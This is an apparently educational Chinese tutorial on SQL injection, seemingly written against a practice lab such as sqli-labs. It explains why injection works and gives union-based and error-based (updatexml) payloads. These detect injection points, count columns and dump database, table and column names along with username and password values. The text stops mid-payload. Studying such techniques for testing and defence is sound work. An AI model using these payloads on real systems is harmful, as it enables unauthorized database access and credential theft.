SQL注入原理
-
参数用户可控:前端传递给后端的参数内容是用户可以控制的
-
参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
当传入的id参数为1' 时,数据库执行的代码如下
select * from users where id=1'
这不符合数据库语法规范,所以会报错。当传入的ID的参数为and 1=1时,执行的语句为
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面返回id=1相同的结果。当传入ID参数为 and1=2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果
一、联合查询
1.判断注入点
#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1 #页面运行正常
?id=1' and '1'='2 #页面运行不正常
#数字型判断
?id=1' and 1=1 -- - #页面运行正常
?id=1' and 1=2 -- - #页面运行不正常
注入点注入符号
引号型注入 ' 单引号注入 "双引号注入
混合型注入 ') 单引号加括号注入 ")双引号加括号注入
括号注入 ) 括号注入
演示的是字符串注入,通过不同的结果返回,此网站可能存在SQL注入漏洞
2.查询字段
?id=1'
?id=1' order by 3
?id=1' order by 4
order by查询的是改数据表的字段数量
访问id=1' order by 3结果与id=1结果相同,访问id=1' order by 4结果与id=1结果不相同
结论:字段数为3
3.确定回显点
?id=-1' union select 1,2,3
根据字段数构造语句判断回显
4.基础查询信息
#查询当前数据库
union select 1,database(),3
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询指定数据库所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#查询指定数据库指定表的指定列的字段值
select group_concat(username,0x3a,password) from security.users
二、报错注入
程序把错误信息输入到页面上,利用报错注入获取数据
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- +
1.substr()函数
使用substr函数来一段段读取输出的内容
substr("123456",1,5) #12345
2.查询语句
查询语句与union注入相同,报错只显示一条结果
#获取 列的字段数
id=1' union select 1,2,3 #回显 you are in...
id=1' union select 1,2,3,4
#回显 The used SELECT statements have a different number of columns
#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) fro